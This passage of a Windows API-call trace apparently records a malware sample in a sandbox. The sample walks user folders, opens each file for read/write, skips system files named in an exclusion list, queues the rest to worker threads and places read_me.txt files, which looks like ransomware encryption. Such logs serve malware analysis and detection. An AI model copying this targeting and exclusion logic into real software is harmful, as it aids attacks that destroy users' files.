returned 0x32fc048 [0085.799] wnsprintfW (in: pszDest=0x42020b8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Downloads\\.") returned 32 [0085.799] FindNextFileW (in: hFindFile=0x32fc048, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1b00f4f0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b00f4f0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="..", cAlternateFileName="")) returned 1 [0085.799] wnsprintfW (in: pszDest=0x42020b8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Downloads\\..") returned 33 [0085.799] FindNextFileW (in: hFindFile=0x32fc048, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0085.799] wnsprintfW (in: pszDest=0x42020b8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Downloads\\desktop.ini") returned 42 [0085.799] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Downloads\\desktop.ini" (normalized: "c:\\users\\default\\downloads\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d8 [0085.807] StrStrW (lpFirst="desktop.ini", lpSrch="read_me.txt") returned 0x0 [0085.807] StrStrW (lpFirst="desktop.ini", lpSrch="autoexec.bat") returned 0x0 [0085.807] StrStrW (lpFirst="desktop.ini", lpSrch="desktop.ini") returned="desktop.ini" [0085.807] CloseHandle (hObject=0x8d8) returned 1 [0085.807] FindNextFileW (in: hFindFile=0x32fc048, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b00f4f0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1b00f4f0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b035650, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0085.807] wnsprintfW (in: pszDest=0x42020b8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Downloads\\read_me.txt") returned 42 [0085.807] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Downloads\\read_me.txt" (normalized: "c:\\users\\default\\downloads\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d8 [0085.807] StrStrW (lpFirst="read_me.txt", lpSrch="read_me.txt") returned="read_me.txt" [0085.807] CloseHandle (hObject=0x8d8) returned 1 [0085.807] FindNextFileW (in: hFindFile=0x32fc048, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b00f4f0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1b00f4f0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b035650, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="read_me.txt", cAlternateFileName="")) returned 0 [0085.807] FindClose (in: hFindFile=0x32fc048 | out: hFindFile=0x32fc048) returned 1 [0085.807] wnsprintfW (in: pszDest=0x42020b8, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\Default\\Downloads\\read_me.txt") returned 42 [0085.807] GetProcessHeap () returned 0x540000 [0085.807] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42020b8 | out: hHeap=0x540000) returned 1 [0085.807] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 86 [0085.807] GetProcessHeap () returned 0x540000 [0085.807] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x44500d0 | out: hHeap=0x540000) returned 1 [0085.808] GetProcessHeap () returned 0x540000 [0085.808] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42020b8 [0085.808] wnsprintfW (in: pszDest=0x42020b8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Links\\*") returned 38 [0085.808] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Links\\*", lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1b035650, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b035650, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName=".", cAlternateFileName="")) returned 0x32fc048 [0085.808] wnsprintfW (in: pszDest=0x42020b8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Links\\.") returned 38 [0085.808] FindNextFileW (in: hFindFile=0x32fc048, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1b035650, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b035650, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="..", cAlternateFileName="")) returned 1 [0085.808] wnsprintfW (in: pszDest=0x42020b8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Links\\..") returned 39 [0085.808] FindNextFileW (in: hFindFile=0x32fc048, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfefb1330, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0085.808] wnsprintfW (in: pszDest=0x42020b8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Links\\desktop.ini") returned 48 [0085.808] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Links\\desktop.ini" (normalized: "c:\\users\\default\\favorites\\links\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d8 [0085.808] StrStrW (lpFirst="desktop.ini", lpSrch="read_me.txt") returned 0x0 [0085.808] StrStrW (lpFirst="desktop.ini", lpSrch="autoexec.bat") returned 0x0 [0085.808] StrStrW (lpFirst="desktop.ini", lpSrch="desktop.ini") returned="desktop.ini" [0085.808] CloseHandle (hObject=0x8d8) returned 1 [0085.808] FindNextFileW (in: hFindFile=0x32fc048, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b035650, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1b035650, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b035650, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0085.808] wnsprintfW (in: pszDest=0x42020b8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Links\\read_me.txt") returned 48 [0085.809] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Links\\read_me.txt" (normalized: "c:\\users\\default\\favorites\\links\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d8 [0085.809] StrStrW (lpFirst="read_me.txt", lpSrch="read_me.txt") returned="read_me.txt" [0085.809] CloseHandle (hObject=0x8d8) returned 1 [0085.809] FindNextFileW (in: hFindFile=0x32fc048, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb11062, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1 [0085.809] wnsprintfW (in: pszDest=0x42020b8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url") returned 58 [0085.809] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\default\\favorites\\links\\web slice gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d8 [0085.809] StrStrW (lpFirst="web slice gallery.url", lpSrch="read_me.txt") returned 0x0 [0085.809] StrStrW (lpFirst="web slice gallery.url", lpSrch="autoexec.bat") returned 0x0 [0085.809] StrStrW (lpFirst="web slice gallery.url", lpSrch="desktop.ini") returned 0x0 [0085.809] StrStrW (lpFirst="web slice gallery.url", lpSrch="autorun.inf") returned 0x0 [0085.809] StrStrW (lpFirst="web slice gallery.url", lpSrch="ntuser.dat") returned 0x0 [0085.809] StrStrW (lpFirst="web slice gallery.url", lpSrch="iconcache.db") returned 0x0 [0085.809] StrStrW (lpFirst="web slice gallery.url", lpSrch="bootsect.bak") returned 0x0 [0085.809] StrStrW (lpFirst="web slice gallery.url", lpSrch="boot.ini") returned 0x0 [0085.809] StrStrW (lpFirst="web slice gallery.url", lpSrch="ntuser.dat.log") returned 0x0 [0085.809] StrStrW (lpFirst="web slice gallery.url", lpSrch="thumbs.db") returned 0x0 [0085.809] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 212 [0085.810] QueueUserWorkItem (Function=0x404e00, Context=0x8d8, Flags=0x0) returned 1 [0085.810] FindNextFileW (in: hFindFile=0x32fc048, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb11062, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="web slice gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0 [0085.810] FindClose (in: hFindFile=0x32fc048 | out: hFindFile=0x32fc048) returned 1 [0085.810] wnsprintfW (in: pszDest=0x42020b8, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Links\\read_me.txt") returned 48 [0085.810] GetProcessHeap () returned 0x540000 [0085.810] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42020b8 | out: hHeap=0x540000) returned 1 [0085.810] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 87 [0085.810] GetProcessHeap () returned 0x540000 [0085.810] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42120c0 | out: hHeap=0x540000) returned 1 [0085.810] GetProcessHeap () returned 0x540000 [0085.810] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42820f8 [0085.810] wnsprintfW (in: pszDest=0x42820f8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\*") returned 51 [0085.810] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1b035650, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b035650, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName=".", cAlternateFileName="")) returned 0x32fc048 [0085.810] wnsprintfW (in: pszDest=0x42820f8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\.") returned 51 [0085.810] FindNextFileW (in: hFindFile=0x32fc048, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1b035650, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b035650, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="..", cAlternateFileName="")) returned 1 [0085.810] wnsprintfW (in: pszDest=0x42820f8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\..") returned 52 [0085.810] FindNextFileW (in: hFindFile=0x32fc048, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa066c0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1 [0085.810] wnsprintfW (in: pszDest=0x42820f8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url") returned 68 [0085.811] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie add-on site.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d4 [0085.820] StrStrW (lpFirst="ie add-on site.url", lpSrch="read_me.txt") returned 0x0 [0085.820] StrStrW (lpFirst="ie add-on site.url", lpSrch="autoexec.bat") returned 0x0 [0085.820] StrStrW (lpFirst="ie add-on site.url", lpSrch="desktop.ini") returned 0x0 [0085.820] StrStrW (lpFirst="ie add-on site.url", lpSrch="autorun.inf") returned 0x0 [0085.820] StrStrW (lpFirst="ie add-on site.url", lpSrch="ntuser.dat") returned 0x0 [0085.820] StrStrW (lpFirst="ie add-on site.url", lpSrch="iconcache.db") returned 0x0 [0085.820] StrStrW (lpFirst="ie add-on site.url", lpSrch="bootsect.bak") returned 0x0 [0085.820] StrStrW (lpFirst="ie add-on site.url", lpSrch="boot.ini") returned 0x0 [0085.820] StrStrW (lpFirst="ie add-on site.url", lpSrch="ntuser.dat.log") returned 0x0 [0085.820] StrStrW (lpFirst="ie add-on site.url", lpSrch="thumbs.db") returned 0x0 [0085.820] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 219 [0085.820] QueueUserWorkItem (Function=0x404e00, Context=0x8d4, Flags=0x0) returned 1 [0085.820] FindNextFileW (in: hFindFile=0x32fc048, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa066c0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1 [0085.820] wnsprintfW (in: pszDest=0x42820f8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url") returned 78 [0085.820] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie site on microsoft.com.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b8 [0085.821] StrStrW (lpFirst="ie site on microsoft.com.url", lpSrch="read_me.txt") returned 0x0 [0085.821] StrStrW (lpFirst="ie site on microsoft.com.url", lpSrch="autoexec.bat") returned 0x0 [0085.821] StrStrW (lpFirst="ie site on microsoft.com.url", lpSrch="desktop.ini") returned 0x0 [0085.821] StrStrW (lpFirst="ie site on microsoft.com.url", lpSrch="autorun.inf") returned 0x0 [0085.821] StrStrW (lpFirst="ie site on microsoft.com.url", lpSrch="ntuser.dat") returned 0x0 [0085.821] StrStrW (lpFirst="ie site on microsoft.com.url", lpSrch="iconcache.db") returned 0x0 [0085.821] StrStrW (lpFirst="ie site on microsoft.com.url", lpSrch="bootsect.bak") returned 0x0 [0085.821] StrStrW (lpFirst="ie site on microsoft.com.url", lpSrch="boot.ini") returned 0x0 [0085.821] StrStrW (lpFirst="ie site on microsoft.com.url", lpSrch="ntuser.dat.log") returned 0x0 [0085.821] StrStrW (lpFirst="ie site on microsoft.com.url", lpSrch="thumbs.db") returned 0x0 [0085.821] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 220 [0085.821] QueueUserWorkItem (Function=0x404e00, Context=0x8b8, Flags=0x0) returned 1 [0085.821] FindNextFileW (in: hFindFile=0x32fc048, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1 [0085.821] wnsprintfW (in: pszDest=0x42820f8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url") returned 71 [0085.821] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at home.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b0 [0085.823] StrStrW (lpFirst="microsoft at home.url", lpSrch="read_me.txt") returned 0x0 [0085.823] StrStrW (lpFirst="microsoft at home.url", lpSrch="autoexec.bat") returned 0x0 [0085.823] StrStrW (lpFirst="microsoft at home.url", lpSrch="desktop.ini") returned 0x0 [0085.823] StrStrW (lpFirst="microsoft at home.url", lpSrch="autorun.inf") returned 0x0 [0085.823] StrStrW (lpFirst="microsoft at home.url", lpSrch="ntuser.dat") returned 0x0 [0085.823] StrStrW (lpFirst="microsoft at home.url", lpSrch="iconcache.db") returned 0x0 [0085.823] StrStrW (lpFirst="microsoft at home.url", lpSrch="bootsect.bak") returned 0x0 [0085.823] StrStrW (lpFirst="microsoft at home.url", lpSrch="boot.ini") returned 0x0 [0085.823] StrStrW (lpFirst="microsoft at home.url", lpSrch="ntuser.dat.log") returned 0x0 [0085.823] StrStrW (lpFirst="microsoft at home.url", lpSrch="thumbs.db") returned 0x0 [0085.823] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 221 [0085.823] QueueUserWorkItem (Function=0x404e00, Context=0x8b0, Flags=0x0) returned 1 [0085.823] FindNextFileW (in: hFindFile=0x32fc048, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1 [0085.823] wnsprintfW (in: pszDest=0x42820f8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url") returned 71 [0085.824] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at work.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ac [0085.824] StrStrW (lpFirst="microsoft at work.url", lpSrch="read_me.txt") returned 0x0 [0085.824] StrStrW (lpFirst="microsoft at work.url", lpSrch="autoexec.bat") returned 0x0 [0085.824] StrStrW (lpFirst="microsoft at work.url", lpSrch="desktop.ini") returned 0x0 [0085.824] StrStrW (lpFirst="microsoft at work.url", lpSrch="autorun.inf") returned 0x0 [0085.824] StrStrW (lpFirst="microsoft at work.url", lpSrch="ntuser.dat") returned 0x0 [0085.824] StrStrW (lpFirst="microsoft at work.url", lpSrch="iconcache.db") returned 0x0 [0085.824] StrStrW (lpFirst="microsoft at work.url", lpSrch="bootsect.bak") returned 0x0 [0085.824] StrStrW (lpFirst="microsoft at work.url", lpSrch="boot.ini") returned 0x0 [0085.824] StrStrW (lpFirst="microsoft at work.url", lpSrch="ntuser.dat.log") returned 0x0 [0085.824] StrStrW (lpFirst="microsoft at work.url", lpSrch="thumbs.db") returned 0x0 [0085.824] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 222 [0085.824] QueueUserWorkItem (Function=0x404e00, Context=0x8ac, Flags=0x0) returned 1 [0085.824] FindNextFileW (in: hFindFile=0x32fc048, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1 [0085.824] wnsprintfW (in: pszDest=0x42820f8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url") returned 69 [0085.824] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft store.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a0 [0085.828] StrStrW (lpFirst="microsoft store.url", lpSrch="read_me.txt") returned 0x0 [0085.828] StrStrW (lpFirst="microsoft store.url", lpSrch="autoexec.bat") returned 0x0 [0085.828] StrStrW (lpFirst="microsoft store.url", lpSrch="desktop.ini") returned 0x0 [0085.828] StrStrW (lpFirst="microsoft store.url", lpSrch="autorun.inf") returned 0x0 [0085.828] StrStrW (lpFirst="microsoft store.url", lpSrch="ntuser.dat") returned 0x0 [0085.828] StrStrW (lpFirst="microsoft store.url", lpSrch="iconcache.db") returned 0x0 [0085.828] StrStrW (lpFirst="microsoft store.url", lpSrch="bootsect.bak") returned 0x0 [0085.828] StrStrW (lpFirst="microsoft store.url", lpSrch="boot.ini") returned 0x0 [0085.828] StrStrW (lpFirst="microsoft store.url", lpSrch="ntuser.dat.log") returned 0x0 [0085.828] StrStrW (lpFirst="microsoft store.url", lpSrch="thumbs.db") returned 0x0 [0085.828] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 225 [0085.829] QueueUserWorkItem (Function=0x404e00, Context=0x8a0, Flags=0x0) returned 1 [0085.829] FindNextFileW (in: hFindFile=0x32fc048, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b035650, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1b035650, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b035650, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0085.829] wnsprintfW (in: pszDest=0x42820f8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\read_me.txt") returned 61 [0085.829] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\read_me.txt" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x89c [0085.829] StrStrW (lpFirst="read_me.txt", lpSrch="read_me.txt") returned="read_me.txt" [0085.829] CloseHandle (hObject=0x89c) returned 1 [0085.829] FindNextFileW (in: hFindFile=0x32fc048, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b035650, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1b035650, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b035650, 